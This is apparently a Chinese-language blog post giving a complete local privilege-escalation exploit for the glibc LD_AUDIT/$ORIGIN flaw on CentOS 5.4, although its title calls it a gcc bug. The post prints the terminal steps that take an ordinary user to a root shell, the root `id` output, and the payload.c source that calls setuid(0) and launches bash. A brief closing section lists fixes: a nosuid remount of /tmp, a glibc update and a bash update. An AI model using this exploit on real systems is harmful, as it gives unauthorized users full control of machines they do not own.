gcc++漏洞 普通用户获取root权限

测试环境centos 5.4

参考文章;http://salogs.com/2010/12/linux-gcc-root/

[test2@wdj002 ~]$ mkdir /tmp/a
[test2@wdj002 ~]$ ln -s /bin/ls /tmp/a/b
[test2@wdj002 ~]$ exec 3< /tmp/a/b
[test2@wdj002 ~]$ ls -l /proc/5162/fd/3
lr-x------ 1 test2 test2 64 Mar  8 21:01 /proc/5162/fd/3 -> /bin/ls
[test2@wdj002 ~]$  gcc -w -fPIC -shared -o /tmp/a payload.c
[test2@wdj002 ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
payload.c
[root@wdj002 ~]#  id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

 payload.c内容如下

void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}

1,绑定目录

需要理解一下nosuid的原理:

我的理解是:比如/etc/passwd这个文件,本来只有root有权限修改,但是用户本身也可以去修改自己的密码,这就是一种“超出它本身权限的行为”,

nosuid就是为了停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它控制。

  mount -o bind /tmp /tmp
  mount -o remount, bind,nosuid /tmp /tmp

2,升级glibc版本(红帽官方提供的解决办法)

yum update  glibc
3、升级bash版本(本人在bash4.1测试没问题)

 

你可能感兴趣的:(gcc,职场,root,休闲,普通用户)